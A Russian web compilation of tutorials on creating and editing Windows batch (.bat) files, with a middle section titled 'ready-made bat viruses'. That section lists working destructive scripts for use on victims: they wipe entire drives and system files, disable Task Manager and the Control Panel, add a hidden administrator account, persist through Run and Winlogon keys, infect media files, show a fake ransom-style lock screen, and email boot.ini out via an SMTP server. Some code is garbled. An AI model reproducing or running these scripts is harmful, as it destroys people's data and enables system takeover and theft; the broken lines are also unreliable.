Создание бат файлов: Как создать bat-файл (пакетный файл)

Содержание

Как создать bat-файл (пакетный файл)

В этой статье рассмотрим два способа создания bat-файла: с помощью Проводника и с помощью Блокнота. Этого будет достаточно, чтобы создавать новые bat-файлы, но сперва определимся, для чего они нужны. Если совсем просто, то bat-файл нужен для того, чтобы один раз записать набор команд для командной строки Windows, а затем выполнять их в любое время не набирая каждый раз. В общем, идеальный вариант для ленивых и/или системных администраторов. =)

Сразу перейду к делу:

Способ первый. Создаём bat-файл в «Проводнике»

Сразу оговорюсь, что для этого способа нужно, чтобы было включено отображение расширение файлов в «Проводнике». Это удобно во многих случаях и я не понимаю, почему по умолчанию эта фишка отключена в Windows.

Итак, создаём текстовый файл в «Проводнике»:

Меняем его расширение (то, что после последней точки) на .

bat:

После того, как нажмём на Enter, Windows поинтересуется «После изменения расширения этот файл может оказаться недоступным. Выполнить изменение?». Ну конечно «Да»! Именно этого мы и добиваемся: сменить расширение .txt на .bat:

Вуаля! Мы получили «батник», т.е. исполняемый файл, в который можно вписать команды, которые будут выполняться при его запуске:

Способ второй. Создаём bat-файл в «Блокноте»

Чтобы создать bat-файл с помощью «Блокнота», нужно открыть «Блокнот» (или любой текстовый файл в «Блокноте») и воспользоваться меню «Файл», опция «Сохранить как…»:

Откроется окно сохранения файла. Тут важно учесть 2 вещи:

  1. «Тип файла» должен быть выставлен на Все файлы (*.*)
  2. «Имя файла» должно иметь расширение .
    bat

Смотрим, куда сохраняем (чтобы потом найти) и жмём кнопку «Сохранить»:

Получаем ещё один bat-файл =)

Итого:

Любой их этих способов имеет смысл, если есть права администратора. Но первый требует дополнительных настроек (которые я рекомендую всё-таки поменять и применить).

Заберите ссылку на статью к себе, чтобы потом легко её найти 😉

Выберите, то, чем пользуетесь чаще всего:

Спасибо за внимание, оставайтесь на связи! Ниже ссылка на форум и обсуждение ; )

Как создать bat-файл (пакетный файл)

В этой статье рассмотрим два способа создания bat-файла: с помощью Проводника и с помощью Блокнота. Этого будет достаточно, чтобы создавать новые bat-файлы, но сперва определимся, для чего они нужны. Если совсем просто, то bat-файл нужен для того, чтобы один раз записать набор команд для командной строки Windows, а затем выполнять их в любое время не набирая каждый раз.

В общем, идеальный вариант для ленивых и/или системных администраторов. =)

Сразу перейду к делу:

Способ первый. Создаём bat-файл в «Проводнике»

Сразу оговорюсь, что для этого способа нужно, чтобы было включено отображение расширение файлов в «Проводнике». Это удобно во многих случаях и я не понимаю, почему по умолчанию эта фишка отключена в Windows.

Итак, создаём текстовый файл в «Проводнике»:

Меняем его расширение (то, что после последней точки) на .bat:

После того, как нажмём на Enter, Windows поинтересуется «После изменения расширения этот файл может оказаться недоступным. Выполнить изменение?». Ну конечно «Да»! Именно этого мы и добиваемся: сменить расширение .txt на .bat:

Вуаля! Мы получили «батник», т.е. исполняемый файл, в который можно вписать команды, которые будут выполняться при его запуске:

Способ второй. Создаём bat-файл в «Блокноте»

Чтобы создать bat-файл с помощью «Блокнота», нужно открыть «Блокнот» (или любой текстовый файл в «Блокноте») и воспользоваться меню «Файл», опция «Сохранить как…»:

Откроется окно сохранения файла. Тут важно учесть 2 вещи:

  1. «Тип файла» должен быть выставлен на Все файлы (*.*)
  2. «Имя файла» должно иметь расширение .bat

Смотрим, куда сохраняем (чтобы потом найти) и жмём кнопку «Сохранить»:

Получаем ещё один bat-файл =)

Итого:

Любой их этих способов имеет смысл, если есть права администратора. Но первый требует дополнительных настроек (которые я рекомендую всё-таки поменять и применить).

Заберите ссылку на статью к себе, чтобы потом легко её найти 😉

Выберите, то, чем пользуетесь чаще всего:

Спасибо за внимание, оставайтесь на связи! Ниже ссылка на форум и обсуждение ; )

Как изменить (редактировать) bat-файл (пакетный файл)

В предыдущей статье было показано и рассказано, как создать bat-файл (пакетный файл). В этой статье мы рассмотрим несколько способов, как открыть bat-файл для того, чтобы внести в него изменения. Всё не так просто, как может показаться на первый взгляд, так как батник исполняемый файл и при двойном клике по нему, он запускается на выполение. Поэтому для его редактирования нужно пойти на небольшие ухищрения, о которых и пойдёт речь ниже.

Первый способ редактирования bat-файла (открываем в Проводнике из контекстного меню)

Если кликнуть по иконке или по имени bat-файла правой кнопкой мыши, то выпадет контекстное меню. Как уже становится очевидным, для того, чтобы изменить bat-файл, нужно выбрать опцию «Изменить». После этого откроется текстовый редактор, в котором можно будет внести изменения и сохранить их. По умолчанию в Windows для этого открывается «Блокнот»:

Второй способ открытия bat-файла для редактирования (перетаскиваем из Проводника в текстовый редактор)

Этот способ требует большего числа манипуляций и большего мастерства владения мышкой. Итак:

  1. Открываем «Блокнот»
  2. Открываем «Проводник»
  3. Находим в «Проводнике» наш bat-файл, который будем редактировать
  4. Кликаем по нему левой кнопкой мыши и не отпускаем её, а тащим файл в окно «Блокнота»
  5. Отпускаем левую кнопку мыши, когда курсор будет в окне «Блокнота» (на конце курсора будет нарисован + в квадрате)

В общем, как-то так, как показано на картинке: =D

Третий способ редактирования bat-файла (средствами текстового редактора «Блокнот»)

Ну тут всё просто и понятно. После того, как «Блокнот» открыт, можно зайти в его меню «Файл» и выбрать опцию «Открыть» (или просто нажать Ctrl + O):

Дальше будет небольшая хитрость 😉

Находим папку, в которой лежит наш батник 

и обязательно меняем опцию показа фалов на «Все фалы (*.*)». Если этого не сделать, в окне «Открыть» мы не увидим нашего bat-файла, а значит, не сможем его открыть. Дальше можно кликнуть по файлу два раза или выбрать его и нажать на кнопку «Открыть»:

Итог:

Любой из описанных способов приведёт к открытию bat-файла в текстовом редакторе, в котором можно будет внести в него изменения. Обязательно после того, как изменения были внесены, нужно их сохранить. Для этого также нужно обратить внимание, чтобы стояла выбранной опция «Все файлы (*.*)» (иначе, наш «Блокнот» может сохранить изменённый файл, как текстовый, то есть с расширением .txt, а оно нам не надо, надо с расширением .bat).

Так и вносятся правки в bat-фалы — никакой магии. Надеюсь, что всё понятно. =)

Заберите ссылку на статью к себе, чтобы потом легко её найти 😉

Выберите, то, чем пользуетесь чаще всего:

Спасибо за внимание, оставайтесь на связи! Ниже ссылка на форум и обсуждение ; )

Чем открыть формат BAT? Программы для чтения BAT файлов

BAT

Если вы не смогли открыть файл двойным нажатием на него, то вам следует скачать и установить одну из программ представленных ниже, либо назначить программой по-умолчанию, уже установленную (изменить ассоциации файлов). Наиболее популярным программным обеспечением для даного формата является программа Microsoft Windows Command Prompt (для ОС Windows) и программа Parallels Desktop for Mac (для ОС Mac) — данные программы гарантированно открывают эти файлы. Ниже вы найдете полный каталог программ, открывающих формат BAT для операционной системы Windows, Mac.

Программы для открытия BAT файлов

Чем открыть BAT в Windows? Mac

Общее описание расширения

Формат файла BAT относится к расширениям из категории Исполняемые форматы, его полное название — DOS Batch File.

BAT файл является командным файлом DOS, который производит выполнение команд посредством командной строки Windows под названием «cmd. exe». Файл расширением BAT представляет из себя обычный текстовый файл, который был сохранен с расширением .bat. В операционных системах MS Dos и Windows, данный тип файла распознаётся в качестве пакетного файла. Таким образом, формат файла BAT применяет скриптовый язык программирования и работает как командный файл.

Узнать подробнее что такое формат BAT

Что еще может вызывать проблемы с файлом?

Наиболее часто встречаемой проблемой, из-за которой пользователи не могут открыть этот файл, является неверно назначенная программа. Чтобы исправить это в ОС Windows вам необходимо нажать правой кнопкой на файле, в контекстном меню навести мышь на пункт «Открыть с помощью», а выпадающем меню выбрать пункт «Выбрать программу…». В результате вы увидите список установленных программ на вашем компьютере, и сможете выбрать подходящую. Рекомендуем также поставить галочку напротив пункта «Использовать это приложение для всех файлов BAT».

Другая проблема, с которой наши пользователи также встречаются довольно часто — файл BAT поврежден. Такая ситуация может возникнуть в массе случаев. Например: файл был скачан не польностью в результате ошибки сервера, файл был поврежден изначально и пр. Для устранения данной проблемы воспользуйтесь одной из рекомендаций:

  • Попробуйте найти нужный файл в другом источнике в сети интернет. Возможно вам повезет найти более подходящую версию. Пример поиска в Google: «Файл filetype:BAT». Просто замените слово «файл» на нужное вам название;
  • Попросите прислать вам исходный файл еще раз, возможно он был поврежден при передаче;

Знаете другие программы, которые могут открыть BAT? Не смогли разобраться как открыть файл? Пишите в комментариях — мы дополним статью и ответим на ваши вопросы.

Команды Для Bat-вирусов / Готовые Bat Вирусы | GuardianeLinks

Простенькие вирусы:
Убирает рабочий стол
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер
@echo off
shutdown -s -t 1 -c «lol» >nul

Перезагрузка компьютера
@echo off
shutdown -r -t 1 -c «lol» >nul

Запрещает запускать программы
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer. exe /f >nul

Удаление дров
@echo off
del «%SystemRoot%\Driver Cache\i386\driver.cab» /f /q >nul

Удаляет звуки Windows
@echo off
del «%SystemRoot%\Media» /q >nul

Запрещает заходить в панель управления
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши
del «%SystemRoot%Cursors*.*» >nul

Меняет название корзины
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q

Удаляет все файлы в program files
del c:Program Files/q

Убивает процесс explorer. exe
taskkill /f /im explorer.exe >nul

Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul

Удаляет команду DEL
del %0

Будет открывать бесконечно Paint
😡
Start mspaint
goto x

Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt

Заражает Autoexec
copy «»%0″» «%SystemRoot%\system32\batinit.bat» >nul
reg add «HKCU\SOFTWARE\Microsoft\Command Processor» /v AutoRun /t REG_SZ /d «%SystemRoot%\syste m32\batinit.bat» /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList» /v «support» /t reg_dword /d 0 y

сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)
rundll32 user,SwapMouseButton

Удаляет ядро системы
del %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Вирус заражает *.JPG в текущем каталоге
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:\MrWeb. bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:
У вашего ламера будет глючить компьютер.
@echo off
echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile(«%systemdrive%\windows\system32\rundll32.dat», True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile «%systemdrive%\windows\system32\rundll32.dat» >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32. vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

Вирус который убивает Винду. Не проверяйте на своем компьютере=)
@echo This virus created by LIZA
@echo Virus: pcforumhack.ru™ Virus
@echo Autor: LIZA
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll. bat
reg add «hklm\Software\Microsoft\Windows\CurrentVersion\Run» /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoDrives /t REG_DWORD /d 67108863 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile «C:\ntldr»,1 >> %temp%\temp.vbs
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoSelectDownloadDir» /d 1 /f
reg add «HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown» /v «IExplorer» /d 0 /f
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoFindFiles» /d 1 /f
reg add «HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions» /v «NoNavButtons» /d 1 /f
echo fso.deletefolder «D:\Windows»,1 >> %temp%\temp.vbs
echo fso.deletefolder «I:\Windows»,1 >> %temp%\temp. vbs
echo fso.deletefolder «C:\Windows»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefile sr+»\system32\hal.dll»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefolder sr+»\system32\dllcache»,1 >> %temp%\temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot») >> %temp%\temp.vbs
echo fso.deletefolder sr+»\system32\drives»,1 >> %temp%\temp.vbs
echo s.regwrite «HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString»,»forum.whack.ru™»>>%temp%\temp.vbs
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner»,»forum.whack.ru™»>>%temp%\temp.vbs
echo s.regwrite «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization»,»forum. whack.ru™»>>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile («A:\»)>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute»S.Run «»%comspec% /c echo «» & Chr(7), 0, True»>>%temp%\temp2.vbs
echo loop>>%temp%\temp2.vbs
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System» /v disableregistrytools /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum» /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSetFolders /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoFind /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMHelp /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoRun /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoClose /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add «hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer» /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject(«shell. >= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count — 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost(«smtp.mail.ru», «forum.whack.ru™@mail.ru», «[email protected]», «…», «Копм заражен!») >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject(«CDO.Message») >> %temp%\temp.vbs
echo Set iConf = CreateObject(«CDO.Configuration») >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item(«

«) = 2 >> %temp%\temp.vbs
echo Flds.Item(«») = 1 >> %temp%\temp.vbs
echo Flds.Item(«») = «support» >> %temp%\temp.vbs
echo Flds.Item(«») = «support» >> %temp%\temp.vbs
echo Flds.Item(«») = «smtp.mail.ru» >> %temp%\temp.vbs
echo Flds. Item(«») = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment «c:\boot.ini» >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs

echo s.run «shutdown -r -t 0 -c «»pcforumhack.ru™»» -f»,1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач. Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус…
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO «Shell»=»Explorer.exe, C:\\windows\\boot.bat » >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add «HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system» /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot. bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if «%choise%» == «101» goto gold
if «%choise%» == «200393» goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

Добавляет программу в автозагрузку ОС
copy «»%0″» «%SystemRoot%\system32\File.bat»
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.
@Echo off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD

@echo off
chcp 1251
echo щаска…
color 4
@echo Вас собирается ~CENS~: ZhenyaZERO

@echo Автор вируса: ZhenyaZERO

@echo Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено.
pause
echo Этап 1: Создание ограничений
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32. dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F
del c:Program Files/q
taskkill /f /im explorer.exe >nul
echo Этап 2: Ща комп начнет глючить
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile(«%systemdrive%\windows\system32\rundll32.dat», True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile «%systemdrive%\windows\system32\rundll32. dat» >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /
echo Этап 3: Прощай, винда!
del C:\ /s /q
del D:\ /s /q
del I:\ /s /q

Как создать пакетный файл с расширением BAT, командный исполняемый файл

BAT файл также называют батником или пакетным файлом. В системе Windows он представляет из себя текстовый документ, у которого есть расширение. Многих пользователей сегодня интересует, как можно создать BAT файл.

Что из себя представляет BAT файл

В BAT прописаны команды, которые необходимо исполнять, используя командную строчку. Когда он запускается, то одновременно происходит запуск программы CMD, считывающей команды с указанного файла и поочередно выполняющей их. Благодаря BAT файлу можно подвергнуть автоматизации множество процессов. В частности, можно исполнять запуск многих программ, копировать файлы, архивировать информацию и осуществлять многое другое. Поэтому пользователь должен знать, как создать БАТ документ самостоятельно, выполнять его корректировку и дополнение.

Такой метод способствует облегчению работы с командной строчкой, сохраняя необходимую последовательность. Естественно, можно осуществлять ввод всех команд сразу в командную строчку ручным способом. Но, если нужно повторять одни и те же операции, то значительно удобней это выполнять, если запускать файл и автоматически считывать перечень, который записан в качестве документа БАТ. Подобный вариант практичен и удобен и тем, что в дальнейшем последовательность можно менять, дополняя другими процессами, которые понадобятся пользователю, а также избавляться от тех, что не нужны.

Новичку, который только начинает осуществлять свою работу с командным интерпретатором, и использует его лишь изредка, хватит для своей деятельности и «Блокнота». Когда пользователь желает выйти на профессиональный уровень, то специалисты советуют использовать утилиту под названием Dr. Batcher. В такой программе можно выполнять нумерацию страничек. В утилите присутствует поддержка закладок, перечень системных команд, которые применяются в БАТ, а в отношении команд, что введены, осуществляется подсвечивание.

Как создать BAT файл

Чтобы создать BAT документ необходимо выполнить достаточно простые действия. Вначале понадобится выполнить запуск любого обычного текстового приложения, в частности, «Блокнота», осуществить ввод команд и произвести сохранение с расширением БАТ. Затем в папке, которая была указана во время сохранения файла, возникнет БАТ документ. Чтобы выполнить его запуск его необходимо два раза сделать клик по нему с помощью мышки.

Также можно сделать запуск и выполнение БАТ документ из командной строчки. Для этого необходимо осуществить следующие действия:

  • выполнить ввод адреса;
  • сделать клик кнопкой мышки, расположенной с правой стороны, по BAT документу и нажать на «Изменить» – это позволит создать bat файл
  • После этого появится «Блокнот», где пользователь сможет редактировать собственный БАТ документ.

Если пользователь желает продолжить редактировать БАТ документ, в частности, прописать в нем другие команды, то для этого необходимо вновь запустить пакетный документ благодаря текстовой программе. Это удобно выполнить, используя контекстное меню.

Как создать пакетный файл (BAT) за пять простых шагов

Хотите создать командный файл? Это просто.

Пакетные файлы — это способ справиться с задачей компьютерного мастера. Они могут автоматизировать повседневные задачи, сократить время, необходимое для того, чтобы что-то сделать, и преобразовать сложный процесс в то, что может выполнять любой.

В этой статье вы узнаете, как написать простой командный файл.Вы узнаете основы того, что могут делать командные файлы и как их писать самостоятельно. Я также предоставлю вам дополнительные ресурсы для обучения написанию пакетных (BAT) файлов.

Как создать пакетный файл в Windows

Прежде чем вдаваться в подробности, вот краткое изложение

  1. Откройте текстовый файл, например, документ Блокнота или WordPad.
